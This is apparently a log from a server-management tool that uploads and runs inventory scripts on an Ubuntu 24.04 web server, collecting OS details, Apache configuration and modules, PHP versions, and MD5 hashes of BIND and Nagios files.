MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 19:08:17: Establishing a connection
2026-04-20 19:08:18: Performing Server Status
2026-04-20 19:08:18: 

PUT: /tmp/pkp584368

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 19:08:19: 

chmod 755 /tmp/pkp584368; /tmp/pkp584368; rm /tmp/pkp584368

2026-04-20 19:08:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		512		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
stoughton

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-20 19:08:20: 

PUT: /tmp/pkp956412

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-20 19:08:20: 

chmod 755 /tmp/pkp956412; /tmp/pkp956412; rm /tmp/pkp956412

2026-04-20 19:08:20: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1613359
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root     1613359  0.0  0.2 322988 48004 ?        Ss   19:06   0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2026-04-20 19:08:20: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'stoughton',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2026-04-20 19:08:20: 

PUT: /tmp/pkp274300

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-20 19:08:21: 

chmod 755 /tmp/pkp274300; /tmp/pkp274300; rm /tmp/pkp274300

2026-04-20 19:08:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-20 19:08:21: 

PUT: /tmp/pkp465721

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-20 19:08:22: 

chmod 755 /tmp/pkp465721; /tmp/pkp465721; rm /tmp/pkp465721

2026-04-20 19:08:22: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2026-04-20 19:08:22: 

PUT: /tmp/pkp172255

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-20 19:08:23: 

chmod 755 /tmp/pkp172255; /tmp/pkp172255; rm /tmp/pkp172255

2026-04-20 19:08:23: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_users)= c311ae83509dd25455baeca7902b345f
bin(/usr/local/nagios/libexec/check_ntp_time)= 52fe5b7ca7c188a32a6d64e736eac5b7
bin(/usr/local/nagios/libexec/check_by_ssh)= 51f1982a51d9a5ab4020232bebd8267e
bin(/usr/local/nagios/libexec/check_simap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_apt)= 41eb04d12e51926f39524239d22537ef
bin(/usr/local/nagios/libexec/check_tcp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_mrtg)= b5b32950455e141e9b67f0f4cdab132b
bin(/usr/local/nagios/libexec/check_dummy)= 871f3acbc6b4b2b033d6fd722f376250
bin(/usr/local/nagios/libexec/check_uptime)= ded53ef6ef4680fd5841719ac869c7e1
bin(/usr/local/nagios/libexec/check_ssh)= 2396c0ac050e99416d203993c1f2dcb0
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_real)= 01b293c07d5a62fcaf79ec34625538e6
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_nntps)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_swap)= 9aba1ea1d65970ba60f8946e5fb73c85
bin(/usr/local/nagios/libexec/check_time)= a0482e1b7c21e0ed9de4451103f73a77
bin(/usr/local/nagios/libexec/check_procs)= bc72e861001bd320f14048f13b0a5c95
bin(/usr/local/nagios/libexec/check_icmp)= 1124d94bcf823fbcd25ade7152252ae3
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 6b901883d174dd33916621ea53c12e36
bin(/usr/local/nagios/libexec/check_spop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nt)= 8a7b9cd0773680a085c6ba38f9760fd6
bin(/usr/local/nagios/libexec/check_encoder.php)= c22e9b08f01fe929c535c10cf0c610c3
bin(/usr/local/nagios/libexec/check_clamd)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_pop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_cluster)= 6a3a417d279d27775e047bdc5c1b5dce
bin(/usr/local/nagios/libexec/check_ntp_peer)= bf57bca35733628a94b78222a46a02f6
bin(/usr/local/nagios/libexec/check_http)= f0a4d9be23a8a890a436b4dc61cdfea0
bin(/usr/local/nagios/libexec/check_nntp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_nagios)= df5d35cbaadb0c3550c9463d38c5622a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_udp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_imap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ftp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nwstat)= a4663eef851d0ebc252e415e78b807cd
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
